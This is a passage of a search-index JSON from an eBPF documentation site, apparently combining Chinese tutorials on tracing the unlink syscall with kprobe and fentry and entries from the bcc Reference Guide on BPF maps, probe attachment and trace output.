/sys/kernel/debug/tracing/trace_pipe 文件中，应该能看到类似下面的 kprobe 演示输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-9346 [005] d..3 4710.951696: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test1 rm-9346 [005] d..4 4710.951819: bpf_trace_printk: KPROBE EXIT: ret = 0 rm-9346 [005] d..3 4710.951852: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test2 rm-9346 [005] d..4 4710.951895: bpf_trace_printk: KPROBE EXIT: ret = 0","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » kprobe 示例","id":"24","title":"kprobe 示例"},"240":{"body":"Syntax: BPF_QUEUE(name, leaf_type, max_entries[, flags]) Creates a queue named name with value type leaf_type and max entries max_entries. Stack and Queue maps are only available from Linux 4.20+. For example: BPF_QUEUE(queue, struct event, 10240); This creates a queue named queue where the value type is struct event, that holds up to 10240 entries. Methods (covered later): map.push(), map.pop(), map.peek(). Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 17. BPF_QUEUE","id":"240","title":"17. BPF_QUEUE"},"241":{"body":"Syntax: BPF_SOCKHASH(name[, key_type [, max_entries) Creates a hash named name, with optional parameters. sockhash is only available from Linux 4.18+. Default: BPF_SOCKHASH(name, key_type=u32, max_entries=10240) For example: struct sock_key { u32 remote_ip4; u32 local_ip4; u32 remote_port; u32 local_port;\n};\nBPF_HASH(skh, struct sock_key, 65535); This creates a hash named skh where the key is a struct sock_key. A sockhash is a BPF map type that holds references to sock structs. Then with a new sk/msg redirect bpf helper BPF programs can use the map to redirect skbs/msgs between sockets (map.sk_redirect_hash()/map.msg_redirect_hash()). The difference between BPF_SOCKHASH and BPF_SOCKMAP is that BPF_SOCKMAP is implemented based on an array, and enforces keys to be four bytes. While BPF_SOCKHASH is implemented based on hash table, and the type of key can be specified freely. Methods (covered later): map.sock_hash_update(), map.msg_redirect_hash(), map.sk_redirect_hash(). search /tests","breadcrumbs":"bcc Reference Guide » 18. BPF_SOCKHASH","id":"241","title":"18. BPF_SOCKHASH"},"242":{"body":"Syntax: *val map.lookup(&key) Lookup the key in the map, and return a pointer to its value if it exists, else NULL. We pass the key in as an address to a pointer. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 19. map.lookup()","id":"242","title":"19. map.lookup()"},"243":{"body":"Syntax: *val map.lookup_or_try_init(&key, &zero) Lookup the key in the map, and return a pointer to its value if it exists, else initialize the key's value to the second argument. This is often used to initialize values to zero. If the key cannot be inserted (e.g. the map is full) then NULL is returned. Examples in situ: search /examples , search /tools Note: The old map.lookup_or_init() may cause return from the function, so lookup_or_try_init() is recommended as it does not have this side effect.","breadcrumbs":"bcc Reference Guide » 20. map.lookup_or_try_init()","id":"243","title":"20. map.lookup_or_try_init()"},"244":{"body":"Syntax: map.delete(&key) Delete the key from the hash. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 21. map.delete()","id":"244","title":"21. map.delete()"},"245":{"body":"Syntax: map.update(&key, &val) Associate the value in the second argument to the key, overwriting any previous value. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 22. map.update()","id":"245","title":"22. map.update()"},"246":{"body":"Syntax: map.insert(&key, &val) Associate the value in the second argument to the key, only if there was no previous value. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 23. map.insert()","id":"246","title":"23. map.insert()"},"247":{"body":"Syntax: map.increment(key[, increment_amount]) Increments the key's value by increment_amount, which defaults to 1. Used for histograms. map.increment() are not atomic. In the concurrency case. If you want more accurate results, use map.atomic_increment() instead of map.increment(). The overhead of map.increment() and map.atomic_increment() is similar. Note. When using map.atomic_increment() to operate on a BPF map of type BPF_MAP_TYPE_HASH, map.atomic_increment() does not guarantee the atomicity of the operation when the specified key does not exist. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 24. map.increment()","id":"247","title":"24. map.increment()"},"248":{"body":"Syntax: int map.get_stackid(void *ctx, u64 flags) This walks the stack found via the struct pt_regs in ctx, saves it in the stack trace map, and returns a unique ID for the stack trace. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 25. map.get_stackid()","id":"248","title":"25. map.get_stackid()"},"249":{"body":"Syntax: u64 map.perf_read(u32 cpu) This returns the hardware performance counter as configured in 5. BPF_PERF_ARRAY Examples in situ: search /tests","breadcrumbs":"bcc Reference Guide » 26. map.perf_read()","id":"249","title":"26. map.perf_read()"},"25":{"body":"通过本文的示例，我们学习了如何使用 eBPF 的 kprobe 和 kretprobe 捕获 unlink 系统调用。更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 本文是 eBPF 入门开发实践教程的第二篇。下一篇文章将介绍如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » 总结","id":"25","title":"总结"},"250":{"body":"Syntax: void map.call(void *ctx, int index) This invokes bpf_tail_call() to tail-call the bpf program which the index entry in BPF_PROG_ARRAY points to. A tail-call is different from the normal call. It reuses the current stack frame after jumping to another bpf program and never goes back. If the index entry is empty, it won't jump anywhere and the program execution continues as normal. For example: BPF_PROG_ARRAY(prog_array, 10); int tail_call(void *ctx) { bpf_trace_printk(\"Tail-call\\n\"); return 0;\n} int do_tail_call(void *ctx) { bpf_trace_printk(\"Original program\\n\"); prog_array.call(ctx, 2); return 0;\n} b = BPF(src_file=\"example.c\")\ntail_fn = b.load_func(\"tail_call\", BPF.KPROBE)\nprog_array = b.get_table(\"prog_array\")\nprog_array[c_int(2)] = c_int(tail_fn.fd)\nb.attach_kprobe(event=\"some_kprobe_event\", fn_name=\"do_tail_call\") This assigns tail_call() to prog_array[2]. In the end of do_tail_call(), prog_array.call(ctx, 2) tail-calls tail_call() and executes it. NOTE: To prevent infinite loop, the maximum number of tail-calls is 32 ( MAX_TAIL_CALL_CNT ). Examples in situ: search /examples , search /tests","breadcrumbs":"bcc Reference Guide » 27. map.call()","id":"250","title":"27. map.call()"},"251":{"body":"Syntax: int map.redirect_map(int index, int flags) This redirects the incoming packets based on the index entry. If the map is BPF_DEVMAP , the packet will be sent to the transmit queue of the network interface that the entry points to. If the map is BPF_CPUMAP , the packet will be sent to the ring buffer of the index CPU and be processed by the CPU later. If the map is BPF_XSKMAP , the packet will be sent to the AF_XDP socket attached to the queue. If the packet is redirected successfully, the function will return XDP_REDIRECT. Otherwise, it will return XDP_ABORTED to discard the packet. For example: BPF_DEVMAP(devmap, 1); int redirect_example(struct xdp_md *ctx) { return devmap.redirect_map(0, 0);\n}\nint xdp_dummy(struct xdp_md *ctx) { return XDP_PASS;\n} ip = pyroute2.IPRoute()\nidx = ip.link_lookup(ifname=\"eth1\")[0] b = bcc.BPF(src_file=\"example.c\") devmap = b.get_table(\"devmap\")\ndevmap[c_uint32(0)] = c_int(idx) in_fn = b.load_func(\"redirect_example\", BPF.XDP)\nout_fn = b.load_func(\"xdp_dummy\", BPF.XDP)\nb.attach_xdp(\"eth0\", in_fn, 0)\nb.attach_xdp(\"eth1\", out_fn, 0) Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 28. map.redirect_map()","id":"251","title":"28. map.redirect_map()"},"252":{"body":"Syntax: int map.push(&val, int flags) Push an element onto a Stack or Queue table. Passing BPF_EXIST as a flag causes the Queue or Stack to discard the oldest element if it is full. Returns 0 on success, negative error on failure. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 29. map.push()","id":"252","title":"29. map.push()"},"253":{"body":"Syntax: int map.pop(&val) Pop an element from a Stack or Queue table. *val is populated with the result. Unlike peeking, popping removes the element. Returns 0 on success, negative error on failure. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 30. map.pop()","id":"253","title":"30. map.pop()"},"254":{"body":"Syntax: int map.peek(&val) Peek an element at the head of a Stack or Queue table. *val is populated with the result. Unlike popping, peeking does not remove the element. Returns 0 on success, negative error on failure. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 31. map.peek()","id":"254","title":"31. map.peek()"},"255":{"body":"Syntax: int map.sock_hash_update(struct bpf_sock_ops *skops, &key, int flags) Add an entry to, or update a sockhash map referencing sockets. The skops is used as a new value for the entry associated to key. flags is one of: BPF_NOEXIST: The entry for key must not exist in the map.\nBPF_EXIST: The entry for key must already exist in the map.\nBPF_ANY: No condition on the existence of the entry for key. If the map has eBPF programs (parser and verdict), those will be inherited by the socket being added. If the socket is already attached to eBPF programs, this results in an error. Return 0 on success, or a negative error in case of failure. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 32. map.sock_hash_update()","id":"255","title":"32. map.sock_hash_update()"},"256":{"body":"Syntax: int map.msg_redirect_hash(struct sk_msg_buff *msg, void *key, u64 flags) This helper is used in programs implementing policies at the socket level. If the message msg is allowed to pass (i.e. if the verdict eBPF program returns SK_PASS), redirect it to the socket referenced by map (of type BPF_MAP_TYPE_SOCKHASH) using hash key. Both ingress and egress interfaces can be used for redirection. The BPF_F_INGRESS value in flags is used to make the distinction (ingress path is selected if the flag is present, egress path otherwise). This is the only flag supported for now. Return SK_PASS on success, or SK_DROP on error. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 33. map.msg_redirect_hash()","id":"256","title":"33. map.msg_redirect_hash()"},"257":{"body":"Syntax: int map.sk_redirect_hash(struct sk_buff *skb, void *key, u64 flags) This helper is used in programs implementing policies at the skb socket level. If the sk_buff skb is allowed to pass (i.e. if the verdict eBPF program returns SK_PASS), redirect it to the socket referenced by map (of type BPF_MAP_TYPE_SOCKHASH) using hash key. Both ingress and egress interfaces can be used for redirection. The BPF_F_INGRESS value in flags is used to make the distinction (ingress path is selected if the flag is present, egress otherwise). This is the only flag supported for now. Return SK_PASS on success, or SK_DROP on error. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 34. map.sk_redirect_hash()","id":"257","title":"34. map.sk_redirect_hash()"},"258":{"body":"Depending on which BPF helpers are used, a GPL-compatible license is required. The special BCC macro BPF_LICENSE specifies the license of the BPF program. You can set the license as a comment in your source code, but the kernel has a special interface to specify it programmatically. If you need to use GPL-only helpers, it is recommended to specify the macro in your C code so that the kernel can understand it: // SPDX-License-Identifier: GPL-2.0+\n#define BPF_LICENSE GPL Otherwise, the kernel may reject loading your program (see the error description below). Note that it supports multiple words and quotes are not necessary: // SPDX-License-Identifier: GPL-2.0+ OR BSD-2-Clause\n#define BPF_LICENSE Dual BSD/GPL Check the BPF helpers reference to see which helpers are GPL-only and what the kernel understands as GPL-compatible. If the macro is not specified, BCC will automatically define the license of the program as GPL.","breadcrumbs":"bcc Reference Guide » Licensing","id":"258","title":"Licensing"},"259":{"body":"One of jobs for rewriter is to turn implicit memory accesses to explicit ones using kernel helpers. Recent kernel introduced a config option ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE which will be set for architectures who user address space and kernel address are disjoint. x86 and arm has this config option set while s390 does not. If ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE is not set, the bpf old helper bpf_probe_read() will not be available. Some existing users may have implicit memory accesses to access user memory, so using bpf_probe_read_kernel() will cause their application to fail. Therefore, for non-s390, the rewriter will use bpf_probe_read() for these implicit memory accesses. For s390, bpf_probe_read_kernel() is used as default and users should use bpf_probe_read_user() explicitly when accessing user memories.","breadcrumbs":"bcc Reference Guide » Rewriter","id":"259","title":"Rewriter"},"26":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第三篇，在 eBPF 中使用 fentry 捕获 unlink 系统调用。","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » eBPF 入门开发实践教程三：在 eBPF 中使用 fentry 监测捕获 unlink 系统调用","id":"26","title":"eBPF 入门开发实践教程三：在 eBPF 中使用 fentry 监测捕获 unlink 系统调用"},"260":{"body":"","breadcrumbs":"bcc Reference Guide » bcc Python","id":"260","title":"bcc Python"},"261":{"body":"Constructors.","breadcrumbs":"bcc Reference Guide » Initialization","id":"261","title":"Initialization"},"262":{"body":"Syntax: BPF({text=BPF_program | src_file=filename} [, usdt_contexts=[USDT_object, ...]] [, cflags=[arg1, ...]] [, debug=int]) Creates a BPF object. This is the main object for defining a BPF program, and interacting with its output. Exactly one of text or src_file must be supplied (not both). The cflags specifies additional arguments to be passed to the compiler, for example -DMACRO_NAME=value or -I/include/path. The arguments are passed as an array, with each element being an additional argument. Note that strings are not split on whitespace, so each argument must be a different element of the array, e.g. [\"-include\", \"header.h\"]. The debug flags control debug output, and can be or'ed together: DEBUG_LLVM_IR = 0x1 compiled LLVM IR DEBUG_BPF = 0x2 loaded BPF bytecode and register state on branches DEBUG_PREPROCESSOR = 0x4 pre-processor result DEBUG_SOURCE = 0x8 ASM instructions embedded with source DEBUG_BPF_REGISTER_STATE = 0x10 register state on all instructions in addition to DEBUG_BPF DEBUG_BTF = 0x20 print the messages from the libbpf library. Examples: # define entire BPF program in one line:\nBPF(text='int do_trace(void *ctx) { bpf_trace_printk(\"hit!\\\\n\"); return 0; }'); # define program as a variable:\nprog = \"\"\"\nint hello(void *ctx) { bpf_trace_printk(\"Hello, World!\\\\n\"); return 0;\n}\n\"\"\"\nb = BPF(text=prog) # source a file:\nb = BPF(src_file = \"vfsreadlat.c\") # include a USDT object:\nu = USDT(pid=int(pid))\n[...]\nb = BPF(text=bpf_text, usdt_contexts=[u]) # add include paths:\nu = BPF(text=prog, cflags=[\"-I/path/to/include\"]) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. BPF","id":"262","title":"1. BPF"},"263":{"body":"Syntax: USDT({pid=pid | path=path}) Creates an object to instrument User Statically-Defined Tracing (USDT) probes. Its primary method is enable_probe(). Arguments: pid: attach to this process ID. path: instrument USDT probes from this binary path. Examples: # include a USDT object:\nu = USDT(pid=int(pid))\n[...]\nb = BPF(text=bpf_text, usdt_contexts=[u]) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. USDT","id":"263","title":"2. USDT"},"264":{"body":"","breadcrumbs":"bcc Reference Guide » Events","id":"264","title":"Events"},"265":{"body":"Syntax: BPF.attach_kprobe(event=\"event\", fn_name=\"name\") Instruments the kernel function event() using kernel dynamic tracing of the function entry, and attaches our C defined function name() to be called when the kernel function is called. For example: b.attach_kprobe(event=\"sys_clone\", fn_name=\"do_trace\") This will instrument the kernel sys_clone() function, which will then run our BPF defined do_trace() function each time it is called. You can call attach_kprobe() more than once, and attach your BPF function to multiple kernel functions. You can also call attach_kprobe() more than once to attach multiple BPF functions to the same kernel function. See the previous kprobes section for how to instrument arguments from BPF. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. attach_kprobe()","id":"265","title":"1. attach_kprobe()"},"266":{"body":"Syntax: BPF.attach_kretprobe(event=\"event\", fn_name=\"name\" [, maxactive=int]) Instruments the return of the kernel function event() using kernel dynamic tracing of the function return, and attaches our C defined function name() to be called when the kernel function returns. For example: b.attach_kretprobe(event=\"vfs_read\", fn_name=\"do_return\") This will instrument the kernel vfs_read() function, which will then run our BPF defined do_return() function each time it is called. You can call attach_kretprobe() more than once, and attach your BPF function to multiple kernel function returns. You can also call attach_kretprobe() more than once to attach multiple BPF functions to the same kernel function return. When a kretprobe is installed on a kernel function, there is a limit on how many parallel calls it can catch. You can change that limit with maxactive. See the kprobes documentation for its default value. See the previous kretprobes section for how to instrument the return value from BPF. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. attach_kretprobe()","id":"266","title":"2. attach_kretprobe()"},"267":{"body":"Syntax: BPF.attach_tracepoint(tp=\"tracepoint\", fn_name=\"name\") Instruments the kernel tracepoint described by tracepoint, and when hit, runs the BPF function name(). This is an explicit way to instrument tracepoints. The TRACEPOINT_PROBE syntax, covered in the earlier tracepoints section, is an alternate method with the advantage of auto-declaring an args struct containing the tracepoint arguments. With attach_tracepoint(), the tracepoint arguments need to be declared in the BPF program. For example: # define BPF program\nbpf_text = \"\"\"\n#include <uapi/linux/ptrace.h> struct urandom_read_args { // from /sys/kernel/debug/tracing/events/random/urandom_read/format u64 __unused__; u32 got_bits; u32 pool_left; u32 input_left;\n}; int printarg(struct urandom_read_args *args) { bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n};\n\"\"\" # load BPF program\nb = BPF(text=bpf_text)\nb.attach_tracepoint(\"random:urandom_read\", \"printarg\") Notice how the first argument to printarg() is now our defined struct. Examples in situ: code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. attach_tracepoint()","id":"267","title":"3. attach_tracepoint()"},"268":{"body":"Syntax: BPF.attach_uprobe(name=\"location\", sym=\"symbol\", fn_name=\"name\" [, sym_off=int]), BPF.attach_uprobe(name=\"location\", sym_re=\"regex\", fn_name=\"name\"), BPF.attach_uprobe(name=\"location\", addr=int, fn_name=\"name\") Instruments the user-level function symbol() from either the library or binary named by location using user-level dynamic tracing of the function entry, and attach our C defined function name() to be called whenever the user-level function is called. If sym_off is given, the function is attached to the offset within the symbol. The real address addr may be supplied in place of sym, in which case sym must be set to its default value. If the file is a non-PIE executable, addr must be a virtual address, otherwise it must be an offset relative to the file load address. Instead of a symbol name, a regular expression can be provided in sym_re. The uprobe will then attach to symbols that match the provided regular expression. Libraries can be given in the name argument without the lib prefix, or with the full path (/usr/lib/...). Binaries can be given only with the full path (/bin/sh). For example: b.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") This will instrument strlen() function from libc, and call our BPF function count() when it is called. Note how the \"lib\" in \"libc\" is not necessary to specify. Other examples: b.attach_uprobe(name=\"c\", sym=\"getaddrinfo\", fn_name=\"do_entry\")\nb.attach_uprobe(name=\"/usr/bin/python\", sym=\"main\", fn_name=\"do_main\") You can call attach_uprobe() more than once, and attach your BPF function to multiple user-level functions. See the previous uprobes section for how to instrument arguments from BPF. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. attach_uprobe()","id":"268","title":"4. attach_uprobe()"},"269":{"body":"Syntax: BPF.attach_uretprobe(name=\"location\", sym=\"symbol\", fn_name=\"name\") Instruments the return of the user-level function symbol() from either the library or binary named by location using user-level dynamic tracing of the function return, and attach our C defined function name() to be called whenever the user-level function returns. For example: b.attach_uretprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") This will instrument strlen() function from libc, and call our BPF function count() when it returns. Other examples: b.attach_uretprobe(name=\"c\", sym=\"getaddrinfo\", fn_name=\"do_return\")\nb.attach_uretprobe(name=\"/usr/bin/python\", sym=\"main\", fn_name=\"do_main\") You can call attach_uretprobe() more than once, and attach your BPF function to multiple user-level functions. See the previous uretprobes section for how to instrument the return value from BPF. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. attach_uretprobe()","id":"269","title":"5. attach_uretprobe()"},"27":{"body":"fentry（function entry）和fexit（function exit）是eBPF（扩展的伯克利包过滤器）中的两种探针类型，用于在Linux内核函数的入口和退出处进行跟踪。它们允许开发者在内核函数执行的特定阶段收集信息、修改参数或观察返回值。这种跟踪和监控功能在性能分析、故障排查和安全分析等场景中非常有用。 与 kprobes 相比，fentry 和 fexit 程序有更高的性能和可用性。在这个例子中，我们可以直接访问函数的指针参数，就像在普通的 C 代码中一样，而不需要使用各种读取帮助程序。fexit 和 kretprobe 程序最大的区别在于，fexit 程序可以访问函数的输入参数和返回值，而 kretprobe 只能访问返回值。从 5.5 内核开始，fentry 和 fexit 对 eBPF 程序可用。 #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"fentry/do_unlinkat\")\nint BPF_PROG(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"fentry: pid = %d, filename = %s\\n\", pid, name->name); return 0;\n} SEC(\"fexit/do_unlinkat\")\nint BPF_PROG(do_unlinkat_exit, int dfd, struct filename *name, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"fexit: pid = %d, filename = %s, ret = %ld\\n\", pid, name->name, ret); return 0;\n} 这段程序是用C语言编写的eBPF（扩展的伯克利包过滤器）程序，它使用BPF的fentry和fexit探针来跟踪Linux内核函数do_unlinkat。在这个教程中，我们将以这段程序作为示例，让您学会如何在eBPF中使用fentry监测捕获unlink系统调用。 程序包含以下部分： 包含头文件：包括vmlinux.h（用于访问内核数据结构）、bpf/bpf_helpers.h（包含eBPF帮助函数）、bpf/bpf_tracing.h（用于eBPF跟踪相关功能）。 定义许可证：这里定义了一个名为LICENSE的字符数组，包含许可证信息\"Dual BSD/GPL\"。 定义fentry探针：我们定义了一个名为BPF_PROG(do_unlinkat)的fentry探针，该探针在do_unlinkat函数的入口处被触发。这个探针获取当前进程的PID（进程ID）并将其与文件名一起打印到内核日志。 定义fexit探针：我们还定义了一个名为BPF_PROG(do_unlinkat_exit)的fexit探针，该探针在do_unlinkat函数的退出处被触发。与fentry探针类似，这个探针也会获取当前进程的PID并将其与文件名和返回值一起打印到内核日志。 通过这个示例，您可以学习如何在eBPF中使用fentry和fexit探针来监控和捕获内核函数调用，例如在本教程中的unlink系统调用。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc fentry-link.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 在另外一个窗口中： touch test_file\nrm test_file\ntouch test_file2\nrm test_file2 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file, ret = 0 rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file2 rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file2, ret = 0","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » Fentry","id":"27","title":"Fentry"},"270":{"body":"Syntax: USDT.enable_probe(probe=probe, fn_name=name) Attaches a BPF C function name to the USDT probe probe. Example: # enable USDT probe from given PID\nu = USDT(pid=int(pid))\nu.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\") To check if your binary has USDT probes, and what they are, you can run readelf -n binary and check the stap debug section. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 6. USDT.enable_probe()","id":"270","title":"6. USDT.enable_probe()"},"271":{"body":"Syntax: BPF.attach_raw_tracepoint(tp=\"tracepoint\", fn_name=\"name\") Instruments the kernel raw tracepoint described by tracepoint (event only, no category), and when hit, runs the BPF function name(). This is an explicit way to instrument tracepoints. The RAW_TRACEPOINT_PROBE syntax, covered in the earlier raw tracepoints section, is an alternate method. For example: b.attach_raw_tracepoint(\"sched_switch\", \"do_trace\") Examples in situ: search /tools","breadcrumbs":"bcc Reference Guide » 7. attach_raw_tracepoint()","id":"271","title":"7. attach_raw_tracepoint()"},"272":{"body":"Syntax: BPF.attach_raw_socket(fn, dev) Attaches a BPF function to the specified network interface. The fn must be the type of BPF.function and the bpf_prog type needs to be BPF_PROG_TYPE_SOCKET_FILTER (fn=BPF.load_func(func_name, BPF.SOCKET_FILTER)) fn.sock is a non-blocking raw socket that was created and bound to dev. All network packets processed by dev are copied to the recv-q of fn.sock after being processed by bpf_prog. Try to recv packet form fn.sock with rev/recvfrom/recvmsg. Note that if the recv-q is not read in time after the recv-q is full, the copied packets will be discarded. We can use this feature to capture network packets just like tcpdump. We can use ss --bpf --packet -p to observe fn.sock. Example: BPF.attach_raw_socket(bpf_func, ifname) Examples in situ: search /examples","breadcrumbs":"bcc Reference Guide » 8. attach_raw_socket()","id":"272","title":"8. attach_raw_socket()"},"273":{"body":"Syntax: BPF.attach_xdp(dev=\"device\", fn=b.load_func(\"fn_name\",BPF.XDP), flags) Instruments the network driver described by dev , and then receives the packet, run the BPF function fn_name() with flags. Here is a list of optional flags. # from xdp_flags uapi/linux/if_link.h\nXDP_FLAGS_UPDATE_IF_NOEXIST = (1 << 0)\nXDP_FLAGS_SKB_MODE = (1 << 1)\nXDP_FLAGS_DRV_MODE = (1 << 2)\nXDP_FLAGS_HW_MODE = (1 << 3)\nXDP_FLAGS_REPLACE = (1 << 4) You can use flags like this BPF.attach_xdp(dev=\"device\", fn=b.load_func(\"fn_name\",BPF.XDP), flags=BPF.XDP_FLAGS_UPDATE_IF_NOEXIST) The default value of flags is 0. This means if there is no xdp program with device, the fn will run with that device. If there is an xdp program running with device, the old program will be replaced with new fn program. Currently, bcc does not support XDP_FLAGS_REPLACE flag. The following are the descriptions of other flags. 1. XDP_FLAGS_UPDATE_IF_NOEXIST If an XDP program is already attached to the specified driver, attaching the XDP program again will fail. 2. XDP_FLAGS_SKB_MODE Driver doesn’t have support for XDP, but the kernel fakes it. XDP program works, but there’s no real performance benefit because packets are handed to kernel stack anyways which then emulates XDP – this is usually supported with generic network drivers used in home computers, laptops, and virtualized HW. 3. XDP_FLAGS_DRV_MODE A driver has XDP support and can hand then to XDP without kernel stack interaction – Few drivers can support it and those are usually for enterprise HW. 4. XDP_FLAGS_HW_MODE XDP can be loaded and executed directly on the NIC – just a handful of NICs can do that. For example: b.attach_xdp(dev=\"ens1\", fn=b.load_func(\"do_xdp\", BPF.XDP)) This will instrument the network device ens1 , which will then run our BPF defined do_xdp() function each time it receives packets. Don't forget to call b.remove_xdp(\"ens1\") at the end! Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 9. attach_xdp()","id":"273","title":"9. attach_xdp()"},"274":{"body":"Syntax: BPF.attach_func(fn, attachable_fd, attach_type [, flags]) Attaches a BPF function of the specified type to a particular attachable_fd. if the attach_type is BPF_FLOW_DISSECTOR, the function is expected to attach to current net namespace and attachable_fd must be 0. For example: b.attach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS)\nb.attach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT) Note. When attached to \"global\" hooks (xdp, tc, lwt, cgroup). If the \"BPF function\" is no longer needed after the program terminates, be sure to call detach_func when the program exits. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 10. attach_func()","id":"274","title":"10. attach_func()"},"275":{"body":"Syntax: BPF.detach_func(fn, attachable_fd, attach_type) Detaches a BPF function of the specified type. For example: b.detach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS)\nb.detach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT) Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 11. detach_func()","id":"275","title":"11. detach_func()"},"276":{"body":"Syntax: BPF.detach_kprobe(event=\"event\", fn_name=\"name\") Detach a kprobe handler function of the specified event. For example: b.detach_kprobe(event=\"__page_cache_alloc\", fn_name=\"trace_func_entry\")","breadcrumbs":"bcc Reference Guide » 12. detach_kprobe()","id":"276","title":"12. detach_kprobe()"},"277":{"body":"Syntax: BPF.detach_kretprobe(event=\"event\", fn_name=\"name\") Detach a kretprobe handler function of the specified event. For example: b.detach_kretprobe(event=\"__page_cache_alloc\", fn_name=\"trace_func_return\")","breadcrumbs":"bcc Reference Guide » 13. detach_kretprobe()","id":"277","title":"13. detach_kretprobe()"},"278":{"body":"","breadcrumbs":"bcc Reference Guide » Debug Output","id":"278","title":"Debug Output"},"279":{"body":"Syntax: BPF.trace_print(fmt=\"fields\") This method continually reads the globally shared /sys/kernel/debug/tracing/trace_pipe file and prints its contents. This file can be written to via BPF and the bpf_trace_printk() function, however, that method has limitations, including a lack of concurrent tracing support. The BPF_PERF_OUTPUT mechanism, covered earlier, is preferred. Arguments: fmt: optional, and can contain a field formatting string. It defaults to None. Examples: # print trace_pipe output as-is:\nb.trace_print() # print PID and message:\nb.trace_print(fmt=\"{1} {5}\") Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. trace_print()","id":"279","title":"1. trace_print()"},"28":{"body":"这段程序是一个 eBPF 程序，通过使用 fentry 和 fexit 捕获 do_unlinkat 和 do_unlinkat_exit 函数，并通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 do_unlinkat 的进程 ID、文件名和返回值，并在内核日志中打印出来。 编译这个程序可以使用 ecc 工具，运行时可以使用 ecli 命令，并通过查看 /sys/kernel/debug/tracing/trace_pipe 文件查看 eBPF 程序的输出。更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » 总结","id":"28","title":"总结"},"280":{"body":"Syntax: BPF.trace_fields(nonblocking=False) This method reads one line from the globally shared /sys/kernel/debug/tracing/trace_pipe file and returns it as fields. This file can be written to via BPF and the bpf_trace_printk() function, however, that method has limitations, including a lack of concurrent tracing support. The 